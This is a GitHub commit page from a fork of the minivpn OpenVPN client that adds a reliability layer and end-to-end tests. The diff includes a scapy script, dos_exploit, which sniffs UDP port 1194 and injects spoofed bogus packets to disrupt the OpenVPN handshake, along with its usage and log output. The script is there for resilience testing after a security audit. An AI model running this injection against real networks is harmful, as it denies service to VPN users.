forked from ooni/minivpn
-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
feat(reliable): minimal reliability layer implementation
I've tried to achieve te minimal incremental change that adds resilience in the face of network noise. To achieve that, the simple thing to do was to make session an object owned by an implementation of reliableTransport. I've reused the reliableUDP implementation in govpn, and I like the simplicity of that implementation a lot. A lot of our current logic (ackqueue/retries) needed to move from the tlsTransport minivpn implementation into reliableTransport. Although the DoS documented in the MIV-01 report is not done, we add the e2e testing script to facilitate further development. - Related: ooni#32 more tests
- Loading branch information
Showing
23 changed files
with
1,313 additions
and
692 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,55 @@ | ||
| This folder has end to end tests to test minivpn against a real server. | ||
|
|
||
| # DOS | ||
|
|
||
| To inject bogus packets and test for handshake completion: | ||
|
|
||
| ``` | ||
| ❯ sudo ./dos_exploit -i enxe04f438dea75 -t 0.2 | ||
| [+] Intercepting requests to UDP port 1194 and injecting bogus response | ||
| [-] Interval: 0.2 seconds | ||
| ``` | ||
|
|
||
| ``` | ||
| ❯ ./minivpn -c ../data/riseup/config -t "1.1.1.1" -n 5 ping | ||
| 2022/10/06 23:34:59 info : Connecting to 51.158.144.32:1194 with proto UDP | ||
| 2022/10/06 23:34:59 info : Cipher: AES-256-GCM | ||
| 2022/10/06 23:34:59 info : Auth: SHA512 | ||
| 2022/10/06 23:34:59 info : Remote session ID: 3794664e9ff21400 | ||
| 2022/10/06 23:34:59 info : Local session ID: 3edf430eff46640a | ||
| 2022/10/06 23:34:59 info : TLS handshake done | ||
| 2022/10/06 23:34:59 info : Key derivation OK | ||
| 2022/10/06 23:34:59 warn: Packet too far: 0 | ||
| 2022/10/06 23:34:59 info : Server pushed options | ||
| 2022/10/06 23:34:59 info : Tunnel IP: 10.42.0.205 | ||
| 2022/10/06 23:34:59 info : Gateway IP: 10.42.0.1 | ||
| 2022/10/06 23:34:59 info : VPN handshake done | ||
| 2022/10/06 23:34:59 error: bad input: bad ack: EOF | ||
| 2022/10/06 23:34:59 error: bad input: bad ack: EOF | ||
| 2022/10/06 23:34:59 error: bad input: bad ack: EOF | ||
| 2022/10/06 23:35:00 error: bad input: bad ack: EOF | ||
| 2022/10/06 23:35:00 info : Got ACK | ||
| 2022/10/06 23:35:00 error: bad input: bad ack: EOF | ||
| reply from 1.1.1.1: icmp_seq=0 ttl=57 time=60.0 ms | ||
| 2022/10/06 23:35:00 error: bad input: bad ack: EOF | ||
| 2022/10/06 23:35:00 error: bad input: bad ack: EOF | ||
| 2022/10/06 23:35:01 error: bad input: bad ack: EOF | ||
| 2022/10/06 23:35:01 error: bad input: bad ack: EOF | ||
| reply from 1.1.1.1: icmp_seq=1 ttl=57 time=66.7 ms | ||
| 2022/10/06 23:35:01 error: bad input: bad ack: EOF | ||
| 2022/10/06 23:35:01 error: bad input: bad ack: EOF | ||
| 2022/10/06 23:35:02 error: bad input: bad ack: EOF | ||
| 2022/10/06 23:35:02 info : Got ACK | ||
| 2022/10/06 23:35:02 error: bad input: bad ack: EOF | ||
| reply from 1.1.1.1: icmp_seq=2 ttl=57 time=60.2 ms | ||
| 2022/10/06 23:35:02 error: bad input: bad ack: EOF | ||
| 2022/10/06 23:35:02 error: bad input: bad ack: EOF | ||
| 2022/10/06 23:35:03 error: bad input: bad ack: EOF | ||
| reply from 1.1.1.1: icmp_seq=3 ttl=57 time=59.5 ms | ||
| 2022/10/06 23:35:04 error: bad input: bad ack: EOF | ||
| reply from 1.1.1.1: icmp_seq=4 ttl=57 time=64.0 ms | ||
| --- 1.1.1.1 ping statistics --- | ||
| 5 packets transmitted, 5 received, 0% packet loss | ||
| rtt min/avg/max/stdev = 59.468628ms, 62.052388ms, 66.659817ms, 2.80082ms | ||
| ``` | ||
|
|
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,31 @@ | ||
| #!/usr/bin/env python3 | ||
| import argparse | ||
| import os | ||
|
|
||
| from scapy.all import * | ||
|
|
||
| # Inject bogus packets to interfere with OpenVPN handshake. | ||
| # This script was provided by 7asecurity.com during their Red Team engagement | ||
| # in August/September 2022. | ||
|
|
||
| INTERVAL = 1.0 | ||
|
|
||
| def sniff_callback(packet): | ||
| l3 = IP(src=packet.getlayer(IP).dst, dst=packet.getlayer(IP).src) | ||
| l4 = UDP(dport=packet.getlayer(UDP).sport, sport=packet.getlayer(UDP).dport) | ||
| l5 = b"BADPACKET" | ||
| packet = l3 / l4 / l5 | ||
| send(packet) | ||
| time.sleep(INTERVAL) | ||
|
|
||
| if __name__ == "__main__": | ||
| parser = argparse.ArgumentParser() | ||
| parser.add_argument("-i", "--interface", default="eth0", help="Interface to listen on") | ||
| parser.add_argument("-t", "--time", default=INTERVAL, help="Time to wait between injections (seconds)") | ||
| args = parser.parse_args() | ||
|
|
||
| INTERVAL = float(args.time) | ||
|
|
||
| print("[+] Intercepting requests to UDP port 1194 and injecting bogus response") | ||
| print("[-] Interval:", args.time, "seconds") | ||
| sniff(iface=args.interface, prn=sniff_callback, filter="udp and dst port 1194", store=0) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,13 @@ | ||
| package reliability_test | ||
|
|
||
| import ( | ||
| "testing" | ||
|
|
||
| "github.com/rogpeppe/go-internal/testscript" | ||
| ) | ||
|
|
||
| func TestLoss(t *testing.T) { | ||
| testscript.Run(t, testscript.Params{ | ||
| Dir: "testdata/script", | ||
| }) | ||
| } |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,2 @@ | ||
| exec ./minivpn -c data/riseup/config -t "1.1.1.1" -n 5 ping | ||
| stdout 'packet loss' |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Oops, something went wrong.